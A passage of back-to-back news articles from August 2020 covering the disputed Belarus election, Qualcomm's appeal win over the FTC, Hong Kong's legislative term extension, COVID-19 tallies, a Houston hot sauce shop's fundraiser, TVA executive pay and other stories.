what they are doing and started being managed by others," Lukashenka said, vowing that he "will not allow anyone to tear our country apart." TsVK Chairwoman Lidzia Yarmoshyna said on August 10 that preliminary official results showed Lukashenka won more than 80 percent of the vote. Yarmoshyna said Tsikhanouskaya received 9.9 percent of the vote, while three other opposition candidates each received less that 2 percent of the vote. European Commission President Ursula von der Leyen on August 10 condemned the violence in Belarus, calling on the Belarusian government to "accurately" count and publish the poll's results. The European Union's high representative for foreign affairs and security policy, Josep Borrell, and European Commissioner for Neighborhood and Enlargement Oliver Varhelyi also condemned the violence. In an August 10 statement, they called on the Belarusian government to properly count the votes. "Following their unprecedented mobilization for free elections and democracy, the Belarusian people now expect their votes to be counted accurately," the statement said. "It is essential that the Central Election Commission publishes the results reflecting the choice of the Belarusian people." Russian President Vladimir Putin's office says Putin on August 10 sent a telegram to Lukashenka to congratulate him on winning reelection. "I hope that your state activities will contribute to the further development of mutually beneficial Russian-Belarusian relations in all areas, deepening cooperation within the Union State, building up integration processes through the Eurasian Economic Union and the [Commonwealth of Independent States], as well as military and political ties in the Collective Security Treaty Organization," Putin's office quoted the telegram as saying. Kazakh President Qasym-Zhomart Toqaev's office said he also sent Lukashenka a congratulatory telegram on August 10. "The results of the election held in a complicated political setting demonstrate public support for your strategic course towards stronger sovereignty and the independence of Belarus," Toqaev's website quoted his telegram as saying. Azerbaijani President Ilham Aliyev and Chinese President Xi Jingpin have also sent congratulatory telegrams to Lukashenka. 'What Has Happened Is Awful' Tsikhanouskaya, who drew tens of thousands of people to her rallies during the campaign, refuses to recognize the preliminary official results announced by the TsVK on August 10, according to her spokeswoman, Hanna Krasulina. In an appeal read live over the phone on Current Time by her associate, Maryya Kalesnikava, Tsikhanouskaya called on both the security forces and the Belarusian citizens to refrain from violence. "I ask everyone who is now making decisions, and above all the commanders of special forces: Do not use force against civilians," she said. Current Time is the Russian-language network led by RFE/RL in cooperation with VOA. "I ask the police and the troops to remember that they are part of the people. Once again, I ask the voters: no provocation, no need to give a reason to use violence against you. Please stop the violence. First and foremost, officers, I know you can do this." "What has happened is awful," Tsikhanouskaya told a news conference from her headquarters. "I believe my eyes, and I see that the majority is with us." Internet freedom monitor NetBlocks reported Internet connectivity has been disrupted across the country since early on August 9. The disruption was continuing to make it difficult for journalists and election monitors to do their work. It also has made it difficult for Belarusians within the country to access independent reports on the Internet or via social media. However, Lukashenka claimd on August 10 that the Internet was "being locked in the country from abroad in order to incur displeasure among the population." The election came after a campaign marked by the arrest of more than 1,000 opposition supporters, the barring of several potential challengers, claims of a Russian plot to sow instability, and the rise of the unheralded 37-year-old Tsikhanouskaya. Lukashenka vowed after casting his vote in Minsk on August 9 that neither he nor the government will allow Belarus to slip into "chaos" or "civil war." With reporting by Current Time, RFE/RL's Belarus Service, BelTA, Reuters, AP, and AFP Source: https://www.rferl.org/a/belarus- president-lukashenka-reelected-in- landslide-amid-violent-protests -over-rigged-vote/30775437.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Iran arrested five people for allegedly spying on the Islamic Republic for other countries, according to the state-run press. Five Iranians are now in detention on espionage charges, Press TV reported on Tuesday, citing judicial officials. They worked in the foreign and defense ministries, the oil sector and at the Atomic Energy Organization of Iran and spied for Israel, the United Kingdom and Germany, according to the news outlet. Masoud Mosaheb was sentenced to 10 years in prison for spying for Israel and Germany. Shahram Shirkhani was also sentenced to prison for passing defense and bank-related information to the United Kingdom and attempting to recruit other Iranians to spy, according to Press TV. The outlet did not provide further details on the alleged espionage. Irans justice system has been criticized for unfair trials by international observers. The news follows reports of Iran executing people recently for spying. In July, Iran executed a translator it said spied on Iranian forces for the United States and Israel. The same month, Iran executed a former defense official for purportedly selling missile information to the United States. The arrests come at a time of high tensions between Iran and its enemies, including the United States and Israel. The United States is currently working to extend an UN weapons embargo on Iran that expires in October. There are also rumors that Israel is responsible for a series of mysterious explosions and fires that have been happening for weeks in Iran, including at nuclear facilities. The United States, Israel and Gulf states oppose Iranian policies in the Middle East. The United States says Iran is trying to build a nuclear weapon, which Iran denies. Iran also supports proxy groups that fight Israel in Lebanon, Saudi Arabia in Yemen and the United States in Iraq. (Bloomberg) -- Qualcomm Inc.s lucrative patent licensing business lives on, after a court rejected a requirement that the company renegotiate billions of dollars worth of agreements with smartphone makers. The chipmaker won a major victory Tuesday in a federal appeals court, which ruled that a judge was wrong to side with the Federal Trade Commission in 2019 in finding that Qualcomm had violated antitrust law. The appeals court also vacated an order that the company redo licensing accords with smartphone makers like Apple Inc. and Samsung Electronics Co. Such licenses generated $4.6 billion in revenue for Qualcomm last year. Qualcomm climbed 2.3% on the news to close at $108.83 in New York trading. The courts ruling is disappointing and we will be considering our options, FTC Bureau of Competition Director Ian Conner said in a statement. The case wont return to the trial judge, but the FTC can ask that it be reconsidered by the full appeals court. If Tuesdays ruling stands, itll represent the end of years of legal and regulatory entanglements for the company. In July, Qualcomm announced that Chinas Huawei Technologies Co. has signed a licensing deal and paid up on withheld patent fees. That agreement has brought Huawei, the last major holdout, into the list of Qualcomms customers. The court of appeals unanimous reversal, entirely vacating the district court decision, validates our business model and patent licensing program and underscores the tremendous contributions that Qualcomm has made to the industry, Don Rosenberg, executive vice president and general counsel for Qualcomm, said in an email. Kevin Cassidy, an analyst at Rosenblatt Securities, said the ruling removes an overhang on Qualcomms shares. We see the combination of another successful defense of its business model and the recent licensing agreement with Huawei as giving investors an additional degree of comfort as a long-term investment, he said. Story continues Read More: Qualcomm Shares Rise on Strong Forecast, Huawei Agreement Qualcomm is the largest maker of chips that run the computer functions in smartphones and connect them to cellular networks. That business provides it with the bulk of its revenue. The majority of profit comes from licensing patents that underpin how all modern phone systems work. It charges fees that are calculated as a percentage of the selling price of handsets and paid by the phone makers. In May 2019, U.S. District Judge Lucy Koh in San Jose, California, ruled that the company was charging phone makers unreasonably high licensing fees and thwarting competition. She ordered the chipmaker to negotiate licensing agreements with customers in good faith and without threatening to cut off access to its products. Kohs order was put on hold pending appeal. Qualcomm argued on appeal that its licensing business benefits the whole industry by speeding up improvements to smartphones and the services they support. The company emphasized that it doesnt stop rival chipmakers from accessing its technology. Instead, fees are charged to phone makers who pay a percentage of the selling price of each handset. The FTC case, filed in 2017, is among numerous challenges to Qualcomms practices from competitors, customers and regulators worldwide. The San Diego-based company has weathered most of those, winning in court or settling, and maintained its right to charge the fees. Kohs ruling was the biggest remaining challenge to the licensing model. In a rare split among antitrust regulators, the U.S. Justice Department lined up with Qualcomm against the FTC , arguing that Kohs ruling could undermine American leadership in technologies including 5G wireless networks. The appeals court said in its 56-page ruling ruling that Koh went beyond the scope of antitrust law. Qualcomms no license, no chips policy does not impose an anticompetitive surcharge on rivals modem chip sales, nor does it undermine competition in the market. While the Justice Departments arguments that Qualcomm is critical to Americas supremacy in 5G werent mentioned in the opinion, the court noted Qualcomms significant contributions to the technological innovations underlying modern cellular systems. Qualcomm has argued that the regulatory actions against it around the world -- including in Korea and Taiwan -- were initiated at the urging of customers who were seeking an advantage in contract negotiations or to avoid paying for its inventions. Those customers are now licensees, it said. Even before today, those companies for the most part, had already demonstrated that they were basically willing without further attempts like this to engage with us in license negotiations, Rosenberg said in an interview. Theyve all signed up. The case is Federal Trade Commission v. Qualcomm Inc., 19-16122, U.S. Court of Appeals for the Ninth Circuit (San Francisco). (Updates with Qualcomm general counsels comment in final paragraph.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. The city's Legislative Council, known as LegCo, will continue to perform its duties 'for no less than one year', State Media said Chinese lawmakers have extended the term of Hong Kong's Legislative Council by at least a year in order to deal with the vacuum left by postponing the city's elections, state media said Tuesday. Hong Kong's leader said in late July that local elections planned for September would be postponed because coronavirus cases had surged in the international finance hub, a move which infuriated democracy supporters and drew concern from Western governments. The city's Legislative Council, known as LegCo, will continue to perform its duties "for no less than one year" until the term of the next council begins, reported Chinese state broadcaster CCTV -- although the fate of four opposition lawmakers barred from seeking re-election remains unclear. Beijing's top lawmaking body, the National People's Congress Standing Committee, had convened a four-day session on Saturday to discuss whether to extend the term of the current Hong Kong legislature -- which will expire on September 30 -- or to appoint a new "transitional body" to govern the semi-autonomous territory. Election officials had earlier disqualified four pro-democracy legislators, saying their calls for foreign governments to impose sanctions on Beijing and Hong Kong violated the new national security law, which is criticised for eroding the city's political freedoms. Tam Yiu-chung, Hong Kong's sole representative in the top decision-making body of China's parliament, told AFP Tuesday the resolution to extend the term of LegCo was passed unanimously. However, the resolution did not mention how the 70 incumbent lawmakers would be handled, including four disqualified from running for re-election last month. LegCo president Andrew Leung added that the disqualification of the four lawmakers would apply to the next term, not the extended one. "What's not mentioned in the resolution is supposed to be handled by the Hong Kong government," Tam said. Story continues He dismissed concerns that the resolution would technically allow the Hong Kong legislature, which has been dominated by Beijing loyalists, to work in unlimited extension instead of reshuffling members through election. - 'Fabricated' and 'unnecessary' - In Hong Kong, 42 pro-Beijing lawmakers issued a joint statement supporting the decision. "The resolution reflects that the NPCSC fully considered the current special situation faced by Hong Kong society and respected the opinion of the Hong Kong government," the statement said. They also called on "all lawmakers who get to stay" to cooperate and ensure effective operation of the legislature. Pro-democracy lawmakers, however, restated their opposition to the postponement of the election, charging that the vacuum was "fabricated" and that the submission to the National People's Congress was "unnecessary", superseding Hong Kong's constitutional system. "Around 4.5 million voters' rights to vote regularly have been deprived. The legislative council... will no longer be authorised by the people," it said in a statement. But Beijing's Hong Kong Liaison Office said the Standing Committee's decision was in line with the constitution and Basic Law. The Hong Kong and Macao Affairs Office of the State Council called the decision "important and timely", while Hong Kong chief executive Carrie Lam said the move would ensure the regular governance and operations of the city. su-yan-bys/je Source: Xinhua| 2020-08-11 20:24:40|Editor: huaxia Video Player Close BISHKEK, Aug. 11 (Xinhua) -- Kyrgyzstan reported 278 new COVID-19 cases on Tuesday, bringing the country's total infections to 40,455. Ainura Akmatova, head of the country's public health care department, told a daily news briefing that eight of the new patients are medical workers, while the caseload of infected medical workers has reached 2,967, of whom 2,212 have recovered. A total of 6,397 COVID-19 patients are still undergoing medical treatment, while the number of recoveries in the country now stands at 32,764. Four deaths have been registered over the past 24 hours, raising the country's COVID-19 death toll to 1,478. During an online meeting with President Sooronbai Jeenbekov on Monday, Prime Minister Kubatbek Boronov, said that work is underway to prepare for a possible second wave of COVID-19 in the country. Meanwhile, in the wake of the latest epidemiological situation in the capital, the Bishkek Mayor's Office has closed another three makeshift hospitals. Data from the office showed that the makeshift hospitals have provided medical assistance to 9,203 citizens. Enditem April, May, June and July were the lowest four months of sales for iBurn since the store opened in 2013, with July being the lowest month. In a desperate move to save the store Houstons only hot sauce shop, which is located at 4227 Bellaire Boulevard on the south side of Bellaire between Wesleyan Street and Newcastle Drive owner James Beck has launched a GoFundMe campaign. SUMMIT OF SPICE: Houston turns up the heat at hot sauce festival I just decided that we would try to reach out to our customers, family and friends, to see if anyone was in a position to where they might be able to help out so that we can kind of stop this crazy downward spiral that the pandemic had started and get things moving in the right direction, he said. Fortunately its been just an amazing outpouring of kindness and generosity by everyone thats gotten involved, he added. Beck launched the campaign on Aug. 4 with the goal of raising $10,000. Within six days, the campaign had raised $6,690 from 119 donors. Im touched. Its amazing. Its unbelievable, Beck said of the response. As a business owner, you hope that, if youre put in this kind of dire situation where you have to reach out to your customers and hey, can you help, that youve had enough of a positive influence on their lives and enough of a positive influence on some of the things they enjoy, that they would be willing to reach out and help in a time of need. On HoustonChronicle.com: How to use the hottest hot sauces on Earth He struggled to find the words to continue to express his feelings, remarking that he is never at a loss for words. He also understands that people might be skeptical of a for-profit business launching a crowdfunding campaign. If the circumstances were different, and if it wasnt something thats so unbelievably catastrophic, for virtually every small business out there, then I would be 100 percent understanding and sympathetic to somebody who has something negative to say about this, Beck acknowledged. LOCAL WINNERS: Hot sauce company takes top prize in H-E-Bs 2019 Quest for Texas Best competition He mentioned other small business in the area that have already closed and feels that people are sick of seeing establishments that they enjoy go out of business. iBurn did receive money from the Paycheck Protection Program (PPP), but it only applied to full-time employees, of which iBurn only has one. iBurn has applied for loans through the Small Business Administration and from Harris County but has yet to receive a final decision about either. Beck lamented that so much of the money that different levels of government set aside to support businesses went to large business and chains rather than to small businesses. We really just left that up to our customers of hey, weve got our store, he said. If this is someplace that you enjoy going to and if this is something that you want to continue to be a part of the business landscape in the Houston area that, please help us because weve been trying for four months to find a way to fight our way out of this. elliott.lapin@hearst.com NORTHBOROUGH, Mass., Aug. 11, 2020 /PRNewswire/ -- Aspen Aerogels, Inc. (NYSE: ASPN) ("Aspen") announced today that it won broad infringement cases against Nano Tech Co., Ltd. ("Nano") in the Mannheim Regional Court in Germany. The Mannheim Court issued judgments on July 31, 2020 finding that Nano's sale of aerogel products infringed two of Aspen's European patents, EP2422950B1 and EP2415577B1, as extended to Germany. The Mannheim Court also issued injunctions prohibiting the offer, distribution, use or import of infringing products in Germany and held Nano liable to Aspen for damages. Importantly, these judgments and injunctions apply to aerogel sheets of all sizes or shapes manufactured by Nano and subject to the patent claims. The decisions are subject to appeal. The Mannheim Court had previously found Guangdong Alison Hi-Tech Co. Ltd. ("Alison") to have infringed the same patents in connection with aerogel sheets and issued similar injunctions against the offer, distribution, use or import of Alison's aerogel materials. In addition, the German Federal Patent Court in Munich previously found the patent claims asserted against Alison and Nano to be valid. These decisions are now final and not subject to appeal. "Our core strategy is to invest in the research, development, commercialization and protection of our aerogel technology platform worldwide. Our patent portfolio has been validated in forums in the United States, Europe and Asia and the Chinese manufacturers have been repeatedly found to infringe our patents," said Don Young, President and CEO of Aspen. "Nano and Alison's aerogel sheets and any parts, packages, panels or products derived from these aerogel sheets, violate Aspen's patents, irrespective of the explanations, excuses or assertions made by the Chinese manufacturers, their European distributors or other resellers. We have a simple message to anyone considering the purchase, import, use or resale of infringing aerogel products: such actions violate the law. We remain firmly committed to enforcing our intellectual property and will take appropriate action against anyone that infringes our patents," concluded Mr. Young. About Aspen Aerogels, Inc. Aspen is the global leader in aerogel technology. The company's mission is to enable its customers and partners to achieve their own objectives around the global megatrends of resource efficiency and sustainability. Aspen's Cryogel and Pyrogel products are valued by the world's largest energy infrastructure companies. Aspen's Spaceloft products provide building owners with industry-leading energy efficiency including options for a safe, non-combustible fire rating. The company's strategy is to partner with world-class industry leaders to leverage its aerogel technology platform into additional markets, including the electric vehicle market. Headquartered in Northborough, Mass., Aspen manufactures its products at its East Providence, R.I. facility. For more information, please visit www.aerogel.com Special Note Regarding Forward-Looking and Cautionary Statements This press release contains "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995 that involve risks and uncertainties that could cause actual results to be materially different from historical results or from any future results expressed or implied by such forward-looking statements. These statements are not historical facts but rather are based on Aspen's current expectations, estimates and projections regarding Aspen's business, operations and other factors relating thereto. Words such as "may," "will," "could," "would," "should," "anticipate," "predict," "potential," "continue," "expects," "intends," "plans," "projects," "believes," "estimates," "outlook," and similar expressions are used to identify these forward-looking statements. Such forward-looking statements include statements regarding, among other things: (i) the outcome of any appeals process in connection with patent enforcement actions; (ii) beliefs about Aspen's intellectual property and technology strategy and its implementation; (iii) beliefs about Aspen's aerogel technology platform and resulting commercial opportunities; (iv) beliefs about Aspen's plans or intentions to take patent enforcement actions; (v) expectations about the cost, timing or likelihood of success of Aspen's patent enforcement actions and validity challenges; (vi) beliefs about Aspen's ability to fund necessary patent enforcement or defense actions. All such forward-looking statements are based on management's present expectations and are subject to certain factors, risks and uncertainties that may cause actual results, outcome of events, timing and performance to differ materially from those expressed or implied by such statements. These risks and uncertainties include, but are not limited to, the following: any failure to enforce any of Aspen's patents; any future finding of invalidity of any patent in any jurisdiction or on appeal; any failure to obtain sufficient additional capital to pursue Aspen's technology, patent enforcement, or patent defense strategy; the competition Aspen faces in its business; the loss of any direct customer, including distributors, contractors and OEMs; and the other risk factors discussed under the heading "Risk Factors" contained in our Annual Report on Form 10-K for the year ended December 31, 2019 and filed with the Securities and Exchange Commission ("SEC") on March 6, 2020, as well as any updates to those risk factors filed from time to time in our subsequent periodic and current reports filed with the SEC. All statements contained in this press release are made only as of the date of this press release, and Aspen does not intend to update this information unless required by law. SOURCE Aspen Aerogels, Inc. Related Links http://www.aerogel.com The Union Public Schools Board of Education voted Monday not to begin the 2020-21 school year solely through distance learning. Several parents had urged against Superintendent Kirt Hartzlers distance-learning proposal, expressing anger that their right to choose whats best for their children could be taken away from them. As a result of the 2-3 vote on Hartzlers recommendation, classes will start in person at Union Public Schools on Aug. 24, but students will have the option of taking classes online, as the board had authorized earlier. Students and employees will be required to wear masks while at school. Hartzler told the board that everyone, including him and other administrators, wants students and teachers to return to the classroom this school year. But Hartzler said he made the recommendation to start school solely with distance learning based on the advice of the Tulsa Health Department, the state Department of Education and the districts own Re-Entry Task Force. The task force overwhelmingly agreed that Union cant ensure the safety of students and employees on campus right now. August 11 : Sadak 2 actor Sanjay Dutt is back to his residence after being discharged from Lilavati hospital. The actor was admitted in the Intensive Care Unit of the hospital after complaining about chest discomfort and breathing troubles. The actor was seen wearing a mask and waving to photographers as they asked him about his health. According to reports, Sanjay Dutts oxygen saturation level had dipped below normal. Earlier, it was being presumed that the actor might be COVID positive. However, his reports came negative. Sanjay Dutt had earlier shared on Twitter, Just wanted to assure everyone that Im doing well. Im currently under medical observation & my COVID-19 report is negative. With the help & care of the doctors, nurses & staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes & blessings. Just wanted to assure everyone that Im doing well. Im currently under medical observation & my COVID-19 report is negative. With the help & care of the doctors, nurses & staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes & blessings Sanjay Dutt (@duttsanjay) August 8, 2020 On the work front, Sanjay Dutt is awaiting the release of Mahesh Bhatts Sadak 2, which will premiere on Disney Plus Hotstar on August 28. He also has the highly anticipated KGF: Chapter 2 and Bhuj - The Pride Of Nation in his kitty. Sadak 2 is helmed by Mahesh Bhatt and produced by Mukesh Bhatt under their banner Vishesh Films. The film is the sequel to the 1991 film Sadak. The sequel stars Sanjay Dutt, Pooja Bhatt, Alia Bhatt and Aditya Roy Kapur. The film is about Ravi's depression and how he helps a young woman's encounter with a godman, who is out to expose this fake guru running an ashram. STATEN ISLAND, N.Y. -- A small Staten Island neighborhood suffered the consequences of fallen trees after Tropical Storm Isaias last week despite years of raising their arboreal concerns with the city. Going back to 2010, residents of Talbot Place and Norwood Avenue in Clifton have placed 56 calls to 311 to complain about trees, according to city records. Two of those calls came shortly after Isaias brought down a large tree near the corner of those two streets. In total, the 56 complaints come from 22 addresses on the two blocks that account for less than half a mile of street. The fallen tree caused by Isaias damaged a home and downed power lines causing outages in the area. Multiple 311 complaints dating back to 2010 had been filed regarding street trees at the location of the damaged home. A spokesman for the city Department of Parks and Recreation, which is responsible for street tree care and maintenance, said the fallen tree had last been inspected July 7 and determined to be in fair condition. A 311 complaint from July 4 described a tree at the location as having a branch crack adding that it will fall. When the tree on Norwood Avenue eventually fell, the downed wires caused power outages that resident Cindy Lowney said were resolved Saturday after the trees removal. A spokesman for the city Department of Parks and Recreation said on Friday that Consolidated Edison would need to cut the wires power before they could remove the fallen London planetree. In the wake of Isaias, the Parks spokesman said the department had deployed over 300 forestry and maintenance staff across the city to address the more than 21,000 tree-related service requests they had received. Assemblyman Charles Fall (D-North Shore) perviously served as chief of staff for Staten Islands Parks Commissioner. He said Thursday night that he was aware of the issue at Talbot and Norwood, and was working with his fellow government officials to get the issue resolved. Fall said that after storms like Isaias tree removals can take time as the Parks Department works to address the most dire concerns across the city. Con Ed has said that damage caused by Isaias was second only to 2012s Superstorm Sandy. It all comes down to resources. Theres only so much staff that can handle the weight or the amount of damage that they had (after Isaias), Fall said. Many of the residents on Talbot Place and Norwood Avenue were left with their own cleanup efforts after the storm. Lowneys neighbor had multiple branches in her backyard that she was working to clear, and another neighbor, Dmitry Guralenko, had one of his trucks damaged from fallen branches. We have a lot of houses without the power. Its taken already three days, Guralenko said Thursday regarding the power outages. Its crazy. I dont know what the hell the people (are) thinking. They just dont care about anyone. Guralenko, who was running a generator during the power outage, lives near Talbot Places dead end where another tree can be seen with a worn no parking sign stapled to it for emergency tree removal or pruning. A worn no parking sign on Talbot Place's dead end in Clifton is shown Thursday, Aug. 6, 2020. (Staten Island Advance/Paul Liotta) Other trees on the block appear to be in poor condition, and Lowney, whos lives at her home for more than 30 years, said shes concerned if another storm comes. The Parks spokesman did not directly address the concerns around street trees around Talbot and Norwood, but said pruning is done on a neighborhood by neighborhood basis allowing the department to prune a portion of the street trees in each community board every year. We just keep having problems, Lowney said. Everybodys got a story on something -- the trees, the telephone poles, the sidewalks. Street trees, their maintenance, and the problems they can cause have long been a point on contention for residents across the city, particularly in Staten Island. Multiple stories published by the Advance/SILive highlighted borough residents struggles in dealing with street trees in front of their homes that had caused damage to sidewalks. In September 2019, the city announced that homeowners would no longer be responsible for sidewalk repairs. In the era of COVID-19, the Parks Departments Trees and Sidewalks program took an $11.75 million cut in the fiscal 2021 budget, as well as $7.2 million slash in tree pruning contracts and $1.5 million in tree stump removal contracts. City Councilman Joe Borelli (R-South Shore) sounded the alarm last week saying that some damage caused by Isaias could have been prevented if dead tree removal was made a priority. City Planning Department and the Parks Department requires us to have (trees), they have no money to maintain them, and they give homeowners hell if they want to remove them. Forgive me if maybe some people just want the peace of mind to not have a half-dead oak tree hanging over their heads, he said in a Facebook post. The Parks Department spokesman said that, despite the cuts, they expect to continue tree inspections at a similar volume to previous years. In fiscal year 2019 (2020 is still being tallied), the department performed over 55,400 inspections -- they expect a similar number of inspections in fiscal year 2021, the spokesman said. Tree inspections and prunings are continuing despite the cuts, and reports of non-emergency hazardous tree conditions remain our top priority, he said. We routinely inspect trees in all of our parks and along the streets as this is the primary way we keep New Yorkers safe. Norwich Cathedral MU banners go virtual Norwich Cathedral MU banners go virtual The Mothers Union in the Diocese of Norwich has decided to move its annual Festival Service from Norwich Cathedral this autumn into its members homes, because current restrictions mean that the usual cathedral service is not feasible. The COVID-19 pandemic has forced many long-anticipated events to be postponed or even cancelled and, as an organisation with a large number of older members, the Mothers Union sees this as the best solution. Resources are being prepared so that members can join in with a time of worship in their own homes or as small groups; an at-home festival service. A big part of the annual service is the procession of branch banners through the nave of Norwich Cathedral. Its always a spectacular sight as the brightly coloured and intricately embroidered masterpieces are held high for all to see. But with no cathedral service this year, the trustees came up with the idea of bringing the banners together in a virtual way. Diocesan Chaplain, the Revd Andrew Whitehead, said It occurred to the trustees that we should really have a digital archive of all the amazing Mothers Union banners in our churches, and bringing them together for our at-home festival service seemed like a brilliant opportunity. Were asking people to send in pictures of their banners so we can assemble a visual montage which well circulate with the worship resources for our at-home festival service. The trustees are asking all Mothers Union branches to take a couple of photos of their precious banners, and send them, by September 16 at the latest, to the Mothers Union office at munorwich@googlemail.com . For churches where there is no longer a branch, they would love to receive pictures of the banners that still hang there, from local parishioners and residents. The photos will be used in a montage which will be included in the pack of resources which members will receive in the run-up to the special day. The montage will also form part of a new digital archive on the Diocesan Mothers Union website . Diocesan President, Val Ovenden, said, "What a wonderful opportunity has been provided for all our members to join together in this 'at-home' service. Let us thank God that we can as always celebrate our festival! The photograph of the 2019 Festival Service is courtesy of Barbara Lashley. Tony Rothe, 11/08/2020 Source: Xinhua| 2020-08-11 14:32:57|Editor: huaxia Video Player Close NEW DELHI, Aug. 11 (Xinhua) -- A leader of India's ruling Bharatiya Janata Party (BJP) was shot dead Tuesday in the northern state of Uttar Pradesh, police said. The BJP leader identified as Sanjay Khokhar was out on a morning walk in fields near his home in Baghpat district, about 581 km west of Lucknow, the capital city of Uttar Pradesh. Baghpat is located close to India's national capital Delhi. "This morning blood-soaked body of Sanjay Khokhar, a former district president of BJP was found in a sugarcane field near his home," a police official said. "His body has multiple bullet wounds." According to police officials, Khokhar was fired upon by gunmen while he was on a morning walk in his fields. Reports said a huge crowd of people have gathered at the spot and police teams also arrived to investigate the matter. "It is a matter of investigation to find out who is behind the killing. We have registered a case and would soon initiate the investigation to ascertain the reasons behind his killing," the police official said. Uttar Pradesh Chief Minister has expressed grief over the killing of Khokhar and ordered police to file a report about the killing within 24 hours. Enditem Revenue at the Holiday Inn owner during the six months to the end of June fell by 45% to $1.25bn. Photo: PA Holiday Inn owner InterContinental Hotels (IHG.L) swung to a pre-tax loss of $275m (209.5m) in the six months to the end of June, as the groups finances were significantly impacted by the effects of the coronavirus pandemic. The hotels group said on Tuesday, however, that it was well positioned to take advantage of a potential recovery in the travel and tourism industry. The impact of this crisis on our industry cannot be underestimated, but we are seeing some very early signs of improvement as restrictions ease and traveller confidence returns, the company said, citing its resilient business model and leading brands. This gives us confidence in our ability to meet the needs of our guests and owners, and to emerge strongly when markets recover, it said. READ MORE: UK unemployment remains near record lows even as extra 80,000 jobs lost Revenue during the six-month period fell by 45% to $1.25bn (950m), largely due to a a 52% decline in average room revenue. The companys revenue per available room a preferred metric in the hotel industry fell by 75% its second quarter, a better performance than rivals Marriot and Hilton, each of which saw declines of more than 80% in the same period. In addition to the low-budget Holiday Inn, InterContinental Hotels operates the Crowne Plaza, Regent, and Kimpton hotel brands. The company said that a majority of its hotels had now reopened across the world, and that it had opened 90 new hotels in the first half of the year. READ MORE: Heathrow CEO warns of tens of thousands of job losses InterContinental Hotels said that domestic travel remained the most resilient as governments around the world encourage people to holiday within their own countries. The group pointed to the Holiday Inn brand, suggesting it positioned the company well as demand returns in its key markets. Whilst COVID-19 has had an understandable impact on development activity in the period and a level of impact may well also continue for some time to come, the longer term trends and IHG's strong positioning in the market have supported continued opening and signing activity through the first half of the year, it said. (Newser) Officials are repeating the now-familiar advice to wear masks and maintain distance in Hawaii, which now has the highest rate of spread of COVID-19 in the country. Hawaii's reproduction rate stands at 1.6, meaning every infected person spreads the virus to 1.6 others on average, per Hawaii News Now. "That is very, very high," says Honolulu Mayor Kirk Caldwell. "I'm concerned that if we don't get a handle on this ... we could become New York," he adds, per Hawaii News Now. South Dakota has the next highest rate at 1.2. Texas' rate is 1.16. story continues below Hawaii reported 140 new cases of COVID-19 on Mondayits 12th consecutive day with a triple-digit increase. All but two cases came from Oahu, where there are more than 2,000 active cases and concerns about uncontrolled spread. Three new deaths were also reported on the island, bringing the total to 34 deaths across the state since the pandemic began. We need to come together to save each of us, and not allow another person to die," says Caldwell. As of Monday, Hawaii had recorded 3,638 cases with 7% requiring hospitalization, per the Honolulu Star Advertiser. (Read more coronavirus stories.) Iranian president warned on Sunday that the COVID-19 pandemic will last at least six more months in the country. Meanwhile, Iraqi deputy minister of health said that Iraq has yet to reach the coronavirus peak. Global Times reports in its article Iranian president predicts 6 more months of COVID-19 outbreak in Iran as Iraq yet to hit pandemic peak that Iran, the hardest-hit country in the Middle East region, reported 2,020 new cases, bringing the total number of infections to 326,712. The pandemic has so far claimed the lives of 18,427 in Iran, up by 163 in the past 24 hours. A total of 284,371 coronavirus patients have recovered, while 4,022 are in critical condition. "Until we obtain a vaccine that is effective and get a sufficient quantity of it ... we will be confronting this situation," said Iranian President Hassan Rouhani. In the mean time, Iraqi Deputy Minister of Health Hazim al-Jumaili warned that "Iraq has not yet reached the peak of infections, while the daily coronavirus infections are still registering large numbers." In Iraq, the tally of coronavirus infections rose to 150,115 after 2,726 new cases were reported. The country also reported 82 more deaths and 2,271 recovered cases, raising the death toll from the infectious virus to 5,392 and the total recoveries to 107,775. Saudi Arabia's total cases rose by 1,428 to 288,690 and the death toll increased by 37 cases to 3,167. The kingdom also reported 1,599 more recovered patients, taking the total recoveries to 252,039. In Turkey, the total number of COVID-19 cases climbed to 240,804 after 1,182 new infections were reported, Turkish Health Minister Fahrettin Koca tweeted. The death toll from the virus in the country rose to 5,844 after 15 new fatalities were added in the past 24 hours, Koca said, adding 1,103 more patients recovered, raising the total recoveries to 223,759. In Qatar, 297 new cases of coronavirus infections were detected, increasing the total number to 112,947, including 184 deaths and 109,709 recoveries. Israel reported 678 new COVID-19 cases, bringing the tally of coronavirus infections to 83,002. The death toll of the virus in Israel increased to 600 while the recoveries rose to 57,533. Oman's Ministry of Health announced 223 new infections, raising the total number of COVID-19 cases in the country to 81,580, including 513 deaths and 74,691 recoveries. In Kuwait, the tally of infections rose to 71,713 after 514 new cases were reported, of whom 478 have died and 63,519 recovered. The United Arab Emirates (UAE) announced 225 new COVID-19 cases and one more death, taking the total infections to 62,525 and the death toll to 357. The total number of recoveries from the virus in the UAE increased to 56,568 after 323 more fully recovered. In Morocco, the tally of COVID-19 cases increased to 33,237 after 1,230 daily new cases were added, which included 498 fatalities and 23,347 recoveries. The Moroccan government extended the state of medical emergency for another month until Sept. 10 amid the recent surge of cases. Palestine reported 277 new COVID-19 cases, raising the tally of infections in the Palestinian territories to 18,651, including 10,278 recoveries and 104 deaths. In Lebanon, the number of COVID-19 infections increased by 294 to 6,517, while the death toll remained 78. The total number of coronavirus cases in Yemen's government-controlled provinces increased to 1,804 after seven new cases were added. The number of recoveries in the government-controlled areas, including the southern port city of Aden, increased to 913 and the death toll climbed to 515. Jordan recorded six news cases of coronavirus, increasing the total number of infections since the outbreak of the pandemic to 1,252. The Tennessee Valley Authority board, under fire for paying its CEO the richest compensation package of any federal employee in America, will review what it pays TVA President Jeff Lyash and consider possible changes in its executive compensation, TVA's new chairman said Monday. Memphis attorney John Ryder, who became the interim chairman of the TVA board after President Donald Trump fired both the current and former chairmen at TVA last week, said the board is committed "to doing what is best for the 10 million people in the Tennessee Valley" and will work with the White House to help TVA move forward. "The issue is not Jeff's performance everybody agrees he is doing a great job," Ryder said about Lyash. "There is an issue of compensation that the board is going to take a serious look at and how we structure that so that we are in compliance with the TVA act." Lyash, a former CEO of Ontario Power, joined TVA last year and was paid more than $8.1 million in total 